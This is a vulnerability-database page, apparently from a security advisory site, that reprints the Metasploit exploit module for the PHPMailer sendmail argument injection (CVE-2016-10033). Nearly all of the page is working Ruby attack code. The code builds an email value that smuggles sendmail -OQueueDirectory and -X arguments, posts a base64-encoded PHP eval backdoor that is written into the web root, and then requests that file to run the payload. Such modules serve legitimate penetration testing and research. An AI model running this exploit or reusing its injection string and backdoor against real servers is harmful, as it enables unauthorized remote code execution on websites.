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PHPMailer Sendmail Argument Injection

🗓️ 26 Dec 2016 00:00:00Reported by Dawid Golunski, Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 141 Views

PHPMailer vulnerability allows file write through sendmail argument injectio

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PHPMailer Sendmail Argument Injection',
        'Description' => %q{
          PHPMailer versions up to and including 5.2.19 are affected by a
          vulnerability which can be leveraged by an attacker to write a file with
          partially controlled contents to an arbitrary location through injection
          of arguments that are passed to the sendmail binary. This module
          writes a payload to the web root of the webserver before then executing
          it with an HTTP request. The user running PHPMailer must have write
          access to the specified WEB_ROOT directory and successful exploitation
          can take a few minutes.
        },
        'Author' => [
          'Dawid Golunski',   # vulnerability discovery and original PoC
          'Spencer McIntyre'  # metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2016-10033'],
          ['CVE', '2016-10045'],
          ['EDB', '40968'],
          ['EDB', '40969'],
          ['URL', 'https://github.com/opsxcq/exploit-CVE-2016-10033'],
          ['URL', 'https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html']
        ],
        'DisclosureDate' => '2016-12-26',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Payload' => { 'DisableNops' => true },
        'Targets' => [
          ['PHPMailer <5.2.18', {}],
          ['PHPMailer 5.2.18 - 5.2.19', {}]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to the application root', '/']),
        OptString.new('TRIGGERURI', [false, 'Path to the uploaded payload', '']),
        OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www'])
      ]
    )
    register_advanced_options(
      [
        OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300]),
        OptString.new('NameField', [true, 'Name of the element for the Name field', 'name'], regex: /^([^\t\n\f \/>"'=]+)$/),
        OptString.new('EmailField', [true, 'Name of the element for the Email field', 'email'], regex: /^([^\t\n\f \/>"'=]+)$/),
        OptString.new('MessageField', [true, 'Name of the element for the Message field', 'message'], regex: /^([^\t\n\f \/>"'=]+)$/)
      ]
    )
  end

  def trigger(trigger_uri)
    print_status("Sleeping before requesting the payload from: #{trigger_uri}")

    page_found = false
    sleep_time = 10
    wait_time = datastore['WAIT_TIMEOUT']
    print_status("Waiting for up to #{wait_time} seconds to trigger the payload")
    while wait_time > 0
      sleep(sleep_time)
      wait_time -= sleep_time
      res = send_request_cgi!(
        'method' => 'GET',
        'uri' => trigger_uri
      )

      if res.nil?
        if page_found or session_created?
          print_good('Successfully triggered the payload')
          break
        end

        next
      end

      next unless res.code == 200

      if res.body.length == 0 and not page_found
        print_good('Successfully found the payload')
        page_found = true
      end
    end
  end

  def exploit
    name_field = datastore['NameField']
    email_field = datastore['EmailField']
    message_field = datastore['MessageField']
    payload_file_name = "#{rand_text_alphanumeric(8)}.php"
    payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}"

    if target.name == 'PHPMailer <5.2.18'
      email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
    elsif target.name == 'PHPMailer 5.2.18 - 5.2.19'
      email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
    else
      fail_with(Failure::NoTarget, 'The specified version is not supported')
    end

    data = Rex::MIME::Message.new
    data.add_part('submit', nil, nil, 'form-data; name="action"')
    data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, "form-data; name='#{name_field}'")
    data.add_part(email, nil, nil, "form-data; name='#{email_field}'")
    data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, "form-data; name='#{message_field}'")

    print_status("Writing the backdoor to #{payload_file_path}")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    )

    register_files_for_cleanup(payload_file_path)

    trigger(normalize_uri(datastore['TRIGGERURI'].blank? ? target_uri : datastore['TRIGGERURI'], payload_file_name))
  end
end

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26 Dec 2016 00:00Current
5.5Medium risk
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